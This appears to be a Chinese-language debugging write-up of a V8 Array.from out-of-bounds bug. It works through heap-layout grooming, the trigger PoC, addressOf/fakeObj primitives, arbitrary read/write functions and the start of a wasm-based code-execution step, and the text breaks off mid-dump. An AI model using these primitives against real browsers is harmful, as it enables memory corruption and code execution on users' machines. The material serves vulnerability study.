0x239fe74cf7d9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x9d2b9b02621 <Map(HOLEY_SMI_ELEMENTS)>

- prototype: 0x400cb585539 <JSArray[0]>
- constructor: 0x400cb585179 <JSFunction Array (sfi = 0x239fe74ba641)>
- dependent code: 0x239fe7482251 <FixedArray[0]>
- construction counter: 0
//after
DebugPrint: 0xd92ff8d8b1: [JSArray]
- map: 0x9d2b9b02571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x400cb585539 <JSArray[0]>
- elements: 0x239fe7482251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
- length: 1999
- properties: 0x239fe7482251 <FixedArray[0]> {
#length: 0x239fe74cff89 <AccessorInfo> (const accessor descriptor)
}
0x9d2b9b02571: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x239fe74822e1 <undefined>
- prototype_validity cell: 0x239fe7482629 <Cell value= 1>
- instance descriptors (own) #1: 0x400cb5857e9 <DescriptorArray[5]>
- layout descriptor: (nil)
- transitions #1: 0x400cb5856a9 <TransitionArray[4]>Transition array #1:
0x239fe74cf7d9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x9d2b9b02621 <Map(HOLEY_SMI_ELEMENTS)>

- prototype: 0x400cb585539 <JSArray[0]>
- constructor: 0x400cb585179 <JSFunction Array (sfi = 0x239fe74ba641)>
- dependent code: 0x239fe7482251 <FixedArray[0]>
- construction counter: 0
elements

参考Elements kinds in V8了解v8中elements的概念.我们在js层看到的integer/float/double都属于number,而在engine层,需要做更细粒度的区分用于优化。

如下面的两种类型的elements

1
2
3
4
const array = [1, 2, 3];
// elements kind: PACKED_SMI_ELEMENTS
array.push(4.56);
// elements kind: PACKED_DOUBLE_ELEMENTS

elements总是单向的转换到更为普适的类型。

1
2
3
4
5
6
const array = [1, 2, 3];
// elements kind: PACKED_SMI_ELEMENTS
array.push(4.56);
// elements kind: PACKED_DOUBLE_ELEMENTS
array.push('x');
// elements kind: PACKED_ELEMENTS

上面看到的array都是packed arrays,在array中制造出一个hole出来使得elements降级为holey类型。

1
2
3
4
5
const array = [1, 2, 3, 4.56, 'x'];
// elements kind: PACKED_ELEMENTS
array.length; // 5
array[9] = 1; // array[5] until array[8] are now holes
// elements kind: HOLEY_ELEMENTS

下面是目前v8支持的element类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
enum ElementsKind {
// The "fast" kind for elements that only contain SMI values. Must be first
// to make it possible to efficiently check maps for this kind.
PACKED_SMI_ELEMENTS,
HOLEY_SMI_ELEMENTS,

// The "fast" kind for tagged values. Must be second to make it possible to
// efficiently check maps for this and the PACKED_SMI_ELEMENTS kind
// together at once.
PACKED_ELEMENTS,
HOLEY_ELEMENTS,

// The "fast" kind for unwrapped, non-tagged double values.
PACKED_DOUBLE_ELEMENTS,
HOLEY_DOUBLE_ELEMENTS,

// The "slow" kind.
DICTIONARY_ELEMENTS,

// Elements kind of the "arguments" object (only in sloppy mode).
FAST_SLOPPY_ARGUMENTS_ELEMENTS,
SLOW_SLOPPY_ARGUMENTS_ELEMENTS,

// For string wrapper objects ("new String('...')"), the string's characters
// are overlaid onto a regular elements backing store.
FAST_STRING_WRAPPER_ELEMENTS,
SLOW_STRING_WRAPPER_ELEMENTS,

// Fixed typed arrays.
UINT8_ELEMENTS,
INT8_ELEMENTS,
UINT16_ELEMENTS,
INT16_ELEMENTS,
UINT32_ELEMENTS,
INT32_ELEMENTS,
FLOAT32_ELEMENTS,
FLOAT64_ELEMENTS,
UINT8_CLAMPED_ELEMENTS,

// Sentinel ElementsKind for objects with no elements.
NO_ELEMENTS,

// Derived constants from ElementsKind.
FIRST_ELEMENTS_KIND = PACKED_SMI_ELEMENTS,
LAST_ELEMENTS_KIND = UINT8_CLAMPED_ELEMENTS,
FIRST_FAST_ELEMENTS_KIND = PACKED_SMI_ELEMENTS,
LAST_FAST_ELEMENTS_KIND = HOLEY_DOUBLE_ELEMENTS,
FIRST_FIXED_TYPED_ARRAY_ELEMENTS_KIND = UINT8_ELEMENTS,
LAST_FIXED_TYPED_ARRAY_ELEMENTS_KIND = UINT8_CLAMPED_ELEMENTS,
TERMINAL_FAST_ELEMENTS_KIND = HOLEY_ELEMENTS
}
踩坑

我看了下之前OOB的题目笔记,发现elementsobj的位置天然相近,当时做题的时候还以为是固定的layout,但是在这个issue调试时发现并非如此。首先我们降低max的值加快运行速度,之后发现假使我们以下面的方式布置arr,最终的结果是elementsobj相距甚远。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
DebugPrint: 0x2469c92fbdb1: [JSArray]
- map: 0x92cf4482679 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1f1f1ba05539 <JSArray[0]>
- elements: 0xcc3e540f059 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 999
- properties: 0x1f2e23082251 <FixedArray[0]> {
#length: 0x1f2e230cff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0xcc3e540f059 <FixedDoubleArray[1]> {
0: 0
}
0x92cf4482679: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x92cf4482621 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x1f2e23082629 <Cell value= 1>
- instance descriptors #1: 0x1f1f1ba057e9 <DescriptorArray[5]>
- layout descriptor: (nil)
- transitions #1: 0x1f1f1ba05729 <TransitionArray[4]>Transition array #1:
0x1f2e230cf7d9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x92cf44826d1 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x1f1f1ba05539 <JSArray[0]>
- constructor: 0x1f1f1ba05179 <JSFunction Array (sfi = 0x1f2e230ba641)>
- dependent code: 0x1f2e23082251 <FixedArray[0]>
- construction counter: 0
1
2
3
4
5
var a = {"a":"1"};
var oobArray = [3.1];
var double_arr = [1.1,2.2,3.3];
var obj_arr = [a];
//Array.from ...

联想一下之前看gc的时候说gc会使得obj移入old space,从而对象布局相对固定。那么我们先gc,再分配arr,调整max的值为50,发现此时elements和obj离得没那么远了,但是相应地,我们调整max的值,distance也会相应增大或者减小。再从gdb里看下数据,可以发现elements往后是拷贝的迭代器的值。到这里我们基本可以确定了,在Array.from进行数组拷贝时我们将迭代器的值拷贝到了elements所在的空间,因此虽然length改掉了,但是这块空间没有被回收,整个空间布局是oobArr->unrecovered space->double_arr->obj_arr。因此我们可以在分配后两个对象前先gc回收掉这块区域,从而布置arr到我们可以访问的范围。

1
2
3
4
5
6
gc()
var a = {"a":"1"};
var oobArray = [3.1];
var double_arr = [1.1,2.2,3.3];
var obj_arr = [a];
//Array.from ... (max=50)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
DebugPrint: 0x2f429437bdb1: [JSArray]
- map: 0x1bd4e302679 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x367ae2a85539 <JSArray[0]>
- elements: 0x2f429437d059 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 49
- properties: 0x3bf6a8582251 <FixedArray[0]> {
#length: 0x3bf6a85cff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2f429437d059 <FixedDoubleArray[1]> {
0: 0
}
0x1bd4e302679: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x1bd4e302621 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x3bf6a8582629 <Cell value= 1>
- instance descriptors #1: 0x367ae2a857e9 <DescriptorArray[5]>
- layout descriptor: (nil)
- transitions #1: 0x367ae2a85729 <TransitionArray[4]>Transition array #1:
0x3bf6a85cf7d9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1bd4e3026d1 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x367ae2a85539 <JSArray[0]>
- constructor: 0x367ae2a85179 <JSFunction Array (sfi = 0x3bf6a85ba641)>
- dependent code: 0x3bf6a8582251 <FixedArray[0]>
- construction counter: 0
gdb-peda$ distance 0x2f429437bdb1 0x2f429437d059
From 0x2f429437bdb1 to 0x2f429437d059: 4776 bytes, 1194 dwords
gdb-peda$ telescope 0x2f429437d059-1 100
0000| 0x2f429437d058 --> 0xccc409032d9 --> 0xccc409022
0008| 0x2f429437d060 --> 0x100000000
0016| 0x2f429437d068 --> 0x0
0024| 0x2f429437d070 --> 0xccc40902201 --> 0xccc409022
0032| 0x2f429437d078 --> 0x2a800000000
0040| 0x2f429437d080 --> 0x4008000000000000
0048| 0x2f429437d088 --> 0x4010000000000000
0056| 0x2f429437d090 --> 0x4014000000000000
0064| 0x2f429437d098 --> 0x4018000000000000
0072| 0x2f429437d0a0 --> 0x401c000000000000
0080| 0x2f429437d0a8 --> 0x4020000000000000 ('')
0088| 0x2f429437d0b0 --> 0x4022000000000000 ('')
0096| 0x2f429437d0b8 --> 0x4024000000000000 ('')
0104| 0x2f429437d0c0 --> 0x4026000000000000 ('')
0112| 0x2f429437d0c8 --> 0x4028000000000000 ('')
0120| 0x2f429437d0d0 --> 0x402a000000000000 ('')
0128| 0x2f429437d0d8 --> 0x402c000000000000 ('')
0136| 0x2f429437d0e0 --> 0x402e000000000000 ('')
0144| 0x2f429437d0e8 --> 0x4030000000000000 ('')
0152| 0x2f429437d0f0 --> 0x4031000000000000 ('')
0160| 0x2f429437d0f8 --> 0x4032000000000000 ('')
0168| 0x2f429437d100 --> 0x4033000000000000 ('')
0176| 0x2f429437d108 --> 0x4034000000000000 ('')
0184| 0x2f429437d110 --> 0x4035000000000000 ('')
0192| 0x2f429437d118 --> 0x4036000000000000 ('')
--More--(25/100)q
gdb-peda$ p {double} 0x2f429437d080
$1 = 3
gdb-peda$ p {double} 0x2f429437d088
$2 = 4
gdb-peda$

修改一下gc的位置查看内存布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function gc()
{
for(var i = 0;i < ((1024*516));i++){
var a = new String();
}
}

gc();
var a = {"a":"1"};
var oobArray = [3.1];

Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
max : 1000,
next() {
let result = this.counter++;
if (this.counter == this.max) {
oobArray.length = 1;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
gc();
var double_arr = [1.1,2.2,3.3];
var obj_arr = [a];

//oobArray[oobArray.length - 1] = 0x41414141;

可以看到现在oobArray的obj已经在elements-736的位置,比较接近了,但是elements依然不能越界读写到自己的这个obj,因此我们再次修改gc位置,在每个对象定义前都加gc,最终可以使得elements越界读写到后面布置的double_arrobj_arr.

1
2
3
4
5
6
7
var oobArray = [3.1];
//poc function
gc();
var double_arr = [1.1,2.2,3.3,4.4,5.5,6.6];
gc();
var obj_arr = [a];
gc();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
DebugPrint: 0xe7cd6b8c5a9: [JSArray] in OldSpace
- map: 0x3821bae02679 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1f2870785539 <JSArray[0]>
- elements: 0xe7cd6b8c889 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 999
- properties: 0x3a82be202251 <FixedArray[0]> {
#length: 0x3a82be24ff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0xe7cd6b8c889 <FixedDoubleArray[1]> {
0: 0
}
0x3821bae02679: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x3821bae02621 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x3a82be202629 <Cell value= 1>
- instance descriptors #1: 0x1f28707857e9 <DescriptorArray[5]>
- layout descriptor: (nil)
- transitions #1: 0x1f2870785729 <TransitionArray[4]>Transition array #1:
0x3a82be24f7d9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x3821bae026d1 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x1f2870785539 <JSArray[0]>
- constructor: 0x1f2870785179 <JSFunction Array (sfi = 0x3a82be23a641)>
- dependent code: 0x3a82be202251 <FixedArray[0]>
- construction counter: 0
gdb-peda$ distance 0xe7cd6b8c5a9 0xe7cd6b8c889
From 0xe7cd6b8c5a9 to 0xe7cd6b8c889: 736 bytes, 184 dwords

越界读发现异常,我们根据报错在./../src/objects/fixed-array-inl.h:167下源码断点调试,发现index >= 0 && index < this->length()检查没过,后面跟下gdb发现这里的length是map+0x7即elements存储的length而非obj的length字段,这个字段为我们迭代器返回时设置的值。

1
2
3
4
5
6
7
uint64_t FixedDoubleArray::get_representation(int index) {
DCHECK(map() != GetHeap()->fixed_cow_array_map() &&
map() != GetHeap()->fixed_array_map());
DCHECK(index >= 0 && index < this->length());
int offset = kHeaderSize + index * kDoubleSize;
return READ_UINT64_FIELD(this, offset);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
gdb-peda$ x/20i $pc
=> 0x55580e4340d4 <v8::internal::FixedArrayBase::length() const+20>: jmp 0x55580e4340d9 <v8::internal::FixedArrayBase::length() const+25>
0x55580e4340d9 <v8::internal::FixedArrayBase::length() const+25>: mov rax,QWORD PTR [rbp-0x18]
0x55580e4340dd <v8::internal::FixedArrayBase::length() const+29>: mov rcx,QWORD PTR [rax+0x7]
0x55580e4340e1 <v8::internal::FixedArrayBase::length() const+33>: mov QWORD PTR [rbp-0x10],rcx
0x55580e4340e5 <v8::internal::FixedArrayBase::length() const+37>: mov rdi,QWORD PTR [rbp-0x10]
0x55580e4340e9 <v8::internal::FixedArrayBase::length() const+41>: call 0x55580e436e20 <v8::internal::Smi::ToInt(v8::internal::Object const*)>
0x55580e4340ee <v8::internal::FixedArrayBase::length() const+46>: add rsp,0x20
0x55580e4340f2 <v8::internal::FixedArrayBase::length() const+50>: pop rbp
0x55580e4340f3 <v8::internal::FixedArrayBase::length() const+51>: ret
0x55580e4340f4: int3
0x55580e4340f5: int3
0x55580e4340f6: int3
0x55580e4340f7: int3
0x55580e4340f8: int3
0x55580e4340f9: int3
0x55580e4340fa: int3
0x55580e4340fb: int3
0x55580e4340fc: int3
0x55580e4340fd: int3
0x55580e4340fe: int3
gdb-peda$
RAX: 0x10f81a88c909 --> 0x17b3c89032
RBX: 0x7f3b86a9ecc0 (<v8::internal::Runtime_KeyedStoreIC_Miss(int, v8::internal::Object**, v8::internal::Isolate*)>: push rbp)
RCX: 0x100000000
RDX: 0x10f81a88c900 --> 0x10f81a88c921 --> 0x3401ecccccccccc
RSI: 0x7ffdbcc77998 --> 0x17b3c8902361 --> 0x17b3c89022
RDI: 0x10f81a88c909 --> 0x17b3c89032
RBP: 0x7ffdbcc779c0 --> 0x7ffdbcc77a10 --> 0x7ffdbcc77a30 --> 0x7ffdbcc77a50 --> 0x7ffdbcc77a80 --> 0x7ffdbcc77de0 (--> ...)
RSP: 0x7ffdbcc779a0 --> 0x7ffdbcc779c0 --> 0x7ffdbcc77a10 --> 0x7ffdbcc77a30 --> 0x7ffdbcc77a50 --> 0x7ffdbcc77a80 (--> ...)
RIP: 0x55580e4340e1 (<v8::internal::FixedArrayBase::length() const+33>: mov QWORD PTR [rbp-0x10],rcx)
R8 : 0x1
R9 : 0x0
R10: 0x7f3b853eed88 (:__1::ctype<char>::id>: 0xffffffffffffffff)
R11: 0x0
R12: 0x122faf203eb1 --> 0x17b3c8902d
R13: 0x55580e97f8f8 --> 0x17b3c89027d9 --> 0x17b3c89022
R14: 0x5
R15: 0x7ffdbcc79748 --> 0x122faf227679 --> 0xcd000017b3c89025
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55580e4340d4 <v8::internal::FixedArrayBase::length() const+20>: jmp 0x55580e4340d9 <v8::internal::FixedArrayBase::length() const+25>
0x55580e4340d9 <v8::internal::FixedArrayBase::length() const+25>: mov rax,QWORD PTR [rbp-0x18]
0x55580e4340dd <v8::internal::FixedArrayBase::length() const+29>: mov rcx,QWORD PTR [rax+0x7]
=> 0x55580e4340e1 <v8::internal::FixedArrayBase::length() const+33>: mov QWORD PTR [rbp-0x10],rcx
0x55580e4340e5 <v8::internal::FixedArrayBase::length() const+37>: mov rdi,QWORD PTR [rbp-0x10]
0x55580e4340e9 <v8::internal::FixedArrayBase::length() const+41>: call 0x55580e436e20 <v8::internal::Smi::ToInt(v8::internal::Object const*)>
0x55580e4340ee <v8::internal::FixedArrayBase::length() const+46>: add rsp,0x20
0x55580e4340f2 <v8::internal::FixedArrayBase::length() const+50>: pop rbp
[------------------------------------stack-------------------------------------]
0000| 0x7ffdbcc779a0 --> 0x7ffdbcc779c0 --> 0x7ffdbcc77a10 --> 0x7ffdbcc77a30 --> 0x7ffdbcc77a50 --> 0x7ffdbcc77a80 (--> ...)
0008| 0x7ffdbcc779a8 --> 0x10f81a88c909 --> 0x17b3c89032
0016| 0x7ffdbcc779b0 --> 0x55580e97f850 --> 0x0
0024| 0x7ffdbcc779b8 --> 0x10f81a88c909 --> 0x17b3c89032
0032| 0x7ffdbcc779c0 --> 0x7ffdbcc77a10 --> 0x7ffdbcc77a30 --> 0x7ffdbcc77a50 --> 0x7ffdbcc77a80 --> 0x7ffdbcc77de0 (--> ...)
0040| 0x7ffdbcc779c8 --> 0x7f3b86238f25 (<v8::internal::FixedDoubleArray::get_representation(int)+213>: mov edx,DWORD PTR [rbp-0x38])
0048| 0x7ffdbcc779d0 --> 0x7f3b850ee4a0 --> 0x0
0056| 0x7ffdbcc779d8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055580e4340e1 32 SMI_ACCESSORS(FixedArrayBase, length, kLengthOffset)
gdb-peda$
[----------------------------------registers-----------------------------------]
RAX: 0x1
RBX: 0x7f3b86a9ecc0 (<v8::internal::Runtime_KeyedStoreIC_Miss(int, v8::internal::Object**, v8::internal::Isolate*)>: push rbp)
RCX: 0x20 (' ')
RDX: 0x10f81a88c900 --> 0x10f81a88c921 --> 0x3401ecccccccccc
RSI: 0x7ffdbcc77998 --> 0x55580e4340ee (<v8::internal::FixedArrayBase::length() const+46>: add rsp,0x20)
RDI: 0x1
RBP: 0x7ffdbcc779c0 --> 0x7ffdbcc77a10 --> 0x7ffdbcc77a30 --> 0x7ffdbcc77a50 --> 0x7ffdbcc77a80 --> 0x7ffdbcc77de0 (--> ...)
RSP: 0x7ffdbcc779a0 --> 0x7ffdbcc779c0 --> 0x7ffdbcc77a10 --> 0x7ffdbcc77a30 --> 0x7ffdbcc77a50 --> 0x7ffdbcc77a80 (--> ...)
RIP: 0x55580e4340ee (<v8::internal::FixedArrayBase::length() const+46>: add rsp,0x20)
R8 : 0x1
R9 : 0x0
R10: 0x7f3b853eed88 (:__1::ctype<char>::id>: 0xffffffffffffffff)
R11: 0x0
R12: 0x122faf203eb1 --> 0x17b3c8902d
R13: 0x55580e97f8f8 --> 0x17b3c89027d9 --> 0x17b3c89022
R14: 0x5
R15: 0x7ffdbcc79748 --> 0x122faf227679 --> 0xcd000017b3c89025
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55580e4340e1 <v8::internal::FixedArrayBase::length() const+33>: mov QWORD PTR [rbp-0x10],rcx
0x55580e4340e5 <v8::internal::FixedArrayBase::length() const+37>: mov rdi,QWORD PTR [rbp-0x10]
0x55580e4340e9 <v8::internal::FixedArrayBase::length() const+41>: call 0x55580e436e20 <v8::internal::Smi::ToInt(v8::internal::Object const*)>
=> 0x55580e4340ee <v8::internal::FixedArrayBase::length() const+46>: add rsp,0x20
0x55580e4340f2 <v8::internal::FixedArrayBase::length() const+50>: pop rbp
0x55580e4340f3 <v8::internal::FixedArrayBase::length() const+51>: ret
0x55580e4340f4: int3
0x55580e4340f5: int3
[------------------------------------stack-------------------------------------]
0000| 0x7ffdbcc779a0 --> 0x7ffdbcc779c0 --> 0x7ffdbcc77a10 --> 0x7ffdbcc77a30 --> 0x7ffdbcc77a50 --> 0x7ffdbcc77a80 (--> ...)
0008| 0x7ffdbcc779a8 --> 0x10f81a88c909 --> 0x17b3c89032
0016| 0x7ffdbcc779b0 --> 0x100000000
0024| 0x7ffdbcc779b8 --> 0x10f81a88c909 --> 0x17b3c89032
0032| 0x7ffdbcc779c0 --> 0x7ffdbcc77a10 --> 0x7ffdbcc77a30 --> 0x7ffdbcc77a50 --> 0x7ffdbcc77a80 --> 0x7ffdbcc77de0 (--> ...)
0040| 0x7ffdbcc779c8 --> 0x7f3b86238f25 (<v8::internal::FixedDoubleArray::get_representation(int)+213>: mov edx,DWORD PTR [rbp-0x38])
0048| 0x7ffdbcc779d0 --> 0x7f3b850ee4a0 --> 0x0
0056| 0x7ffdbcc779d8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055580e4340ee 32 SMI_ACCESSORS(FixedArrayBase, length, kLengthOffset)
gdb-peda$

走到这里卡住,尝试了其他几种类型的FixedArray也不好使,看backtrace基本都是length的检查绕不过去,到这里刚好和keenan去吃饭,中间请教了一下obj->lengthelements->length的关系,keenan讲说前者更为重要,而后者在FixedArray用的比较多,想以前者作为标准进行寻址最好是用JSArray。我们来看下js-array.h。可以看到array可以分成两种mode,fast mode/dictonary mode。我们想绕过elements的检查,因此尝试一下dictory mode的JSArray

1
2
3
4
5
6
7
8
// The JSArray describes JavaScript Arrays
// Such an array can be in one of two modes:
// - fast, backing storage is a FixedArray and length <= elements.length();
// Please note: push and pop can be used to grow and shrink the array.
// - slow, backing storage is a HashTable with numbers as keys.
class JSArray : public JSObject {
//..
}

objects.cc中找到转换的函数ShouldConvertToSlowElements,调用函数AddDataElement猜测是向array中增加新的数据。当(index-capacity)>=1024时降级,或者fast mode占用的内存原大于dictory占用的内存时也会降级。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Maximal gap that can be introduced by adding an element beyond
// the current elements length.
static const uint32_t kMaxGap = 1024;
//
// JSObjects prefer dictionary elements if the dictionary saves this much
// memory compared to a fast elements backing store.
static const uint32_t kPreferFastElementsSizeFactor = 3;
static const int kEntrySize = 3;//或者1、2
static bool ShouldConvertToSlowElements(JSObject* object, uint32_t capacity,
uint32_t index,
uint32_t* new_capacity) {
STATIC_ASSERT(JSObject::kMaxUncheckedOldFastElementsLength <=
JSObject::kMaxUncheckedFastElementsLength);
if (index < capacity) {
*new_capacity = capacity;
return false;
}
if (index - capacity >= JSObject::kMaxGap) return true;
*new_capacity = JSObject::NewElementsCapacity(index + 1);
DCHECK_LT(index, *new_capacity);
if (*new_capacity <= JSObject::kMaxUncheckedOldFastElementsLength ||
(*new_capacity <= JSObject::kMaxUncheckedFastElementsLength &&
object->GetHeap()->InNewSpace(object))) {
return false;
}
// If the fast-case backing storage takes up much more memory than a
// dictionary backing storage would, the object should have slow elements.
int used_elements = object->GetFastElementsUsage();
uint32_t size_threshold = NumberDictionary::kPreferFastElementsSizeFactor *
NumberDictionary::ComputeCapacity(used_elements) *
NumberDictionary::kEntrySize;
return size_threshold <= *new_capacity;
}

经过一番折腾调试,我发现我的问题在于报错的地方是DCHECK而不是CHECK,所谓的DCHECK就是debug版本的check,release版本中是没有的= =。。反应过来之后我决定还是拿之前的PoC试一下。调试数字经济的题目时有类似的痛苦,就是release版本用不了job,只能release和debug对照着看。我们先在release的文件夹下面创建一个debug文件夹poc.js的软链接方便同步expln -s ../x64.debug/poc.js ./poc.js,然后拿最早的越界poc尝试发现成功输出了。我想了下是不是可以直接patch掉debug里的DCHECK再编译呢(理论上应该可行,又去请教了柯南,我这个版本的v8可以通过修改args.gnsymbol_level=2启用源码调试:)),那我们再重新编译一下d8(:(这个方法还是不行))。还是老老实实对着调吧- . -

趁着编译查查args.gn是做什么滴。gn是个编译系统,参考build-gn了解编译的方法,上面列举了常见的参数,存储参数的配置文件就在args.gn。也可以在GN Reference深入了解。

addressOf原语

编写addressOf原语的思路和之前OOB题目比较类似,我们的目标是使用此原语得到对象的地址。先越界读arr_mapdouble_map。我们首先用obj_arr[0] = obj将目标对象保存到对象arr中,之后越界写obj_arr->map=double_arr_map将对象数组改为浮点数数组的类型,此时输出obj_arr[0]即为对象的地址。注意因为我们每次都要复用obj_arr,再将对象地址拷贝到临时变量后我们需要将map修改回去。

1
2
3
4
5
6
7
8
9
10
11
12
function addressOf(obj)
{
obj_arr[0] = obj;
//change the maps of obj_arr
oobArray[48] = double_arr_map;
//return the address
var addr = f2i(obj_arr[0])-1;
//var addr = obj_arr[0].toString();
//change back
oobArray[48] = obj_arr_map;
return addr;
}
fakeObj原语

fakeObj原语和addressOf原语的思路相似,我们的目标是将某个地址对应的内存包装成一个合法的对象从而访问其属性。首先用double_arr[0] = i2f(addr+1)存放目标地址到数组的elements,之后越界写double_arr->map=obj_arr_map将浮点数数组改为对象数组类型,此时返回的double_arr[0]即为一个obj。但是这个address所在的内存需要为一个合法的obj,也就是说我们需要提前布置一些属性在其中,比如map/prototype/elements/length

1
2
3
4
5
6
7
8
9
10
function fakeObj(addr)
{
double_arr[0] = i2f(addr+1);
//change the maps of double_arr
oobArray[28] = obj_arr_map;
//
var res = double_arr[0];
oobArray[28] = double_arr_map;
return res;
}

##### arbRead/arbWrite

当我们有了上述两个原语,我们可以在其基础上构造任意地址读写的函数。首先我们通过addressOf得到double_arr对象的地址,据此根据偏移计算出double_arr->elements对象的地址,我们使用fakeObj原语将elements->content这块内存伪造成一个obj(需要布置合法的属性在其中)。对于这个伪造的对象fake_obj,我们可以通过修改double_arr元素来控制其属性elementstarget_addr-0x10,再访问fake_obj[0]即可得到目标地址处的值。

同样地,对于arbWrite,我们只需要对fake_obj[0]赋值即可实现任意地址写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function arbRead(addr)
{
double_arr[2] = i2f(addr-0x10+1);
var res = fake_obj[0];
double_arr[2] = i2f(elements_addr+0x11);
return res;
}
function arbWrite(addr,val)
{
double_arr[2] = i2f(addr-0x10+1);
fake_obj[0] = i2f(val);
double_arr[2] = i2f(elements_addr+0x11);
return;
}

exp.js

看着以前的博客,exp写的磕磕绊绊。这个版本的DataView没有SetUint64方法,这里拿kennan的功能函数直接来用。中间踩了很多坑,有些原理还没弄明白,这里记一下。

  1. 关于gc:学长说gc不必像下面一样多次调用,放在最后调用也一样,具体原理需要再看看gc
  2. 在构造arbRead/arbWrite时不要从elements->content开始伪造Obj(和上面讲的原理有出入),这是因为在fakeObj中有对double_arr[0]的赋值,我们想伪造其为obj就必须让double_arr[0]恒为double_arr_maps,否则这个obj会在调用fakeObj后被认定为非法对象,因此我们越过这个元素在后面伪造对象。
  3. length字段需要伪造为i2f(0x1000000000),高四字节才表示length,开始设置为2在gdb中显示大小为0
  4. calculator的shellcode是网上找的,看上去sc的语法和intel asm有些出入,要再研究一下
  5. 关于asm_addr的寻找:这里最开始用之前OOB那道题目的思路去找,发现到data字段那块这个版本的结构体就没有这个属性了,在姚学长的数字经济那里寻找wasm的方法也不好使。刚好panda学长在旁边跟俺唠嗑,学长讲说通过code字段也可以找到wasm的地址,我调试了一下发现确实,有点像之前D3CTF里libroll那道题我找地址的方法,汇编中找call的位置2333.测试代码如下:
1
2
3
4
5
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule,{});
var f = wasmInstance.exports.main;
%DebugPrint(f);

我们首先找到f的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
DebugPrint: 0x2320c0ba7ff1: [Function] in OldSpace
- map: 0xdcb19c0cde1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2320c0b84611 <JSFunction (sfi = 0x9d907d85559)>
- elements: 0x9d907d82251 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
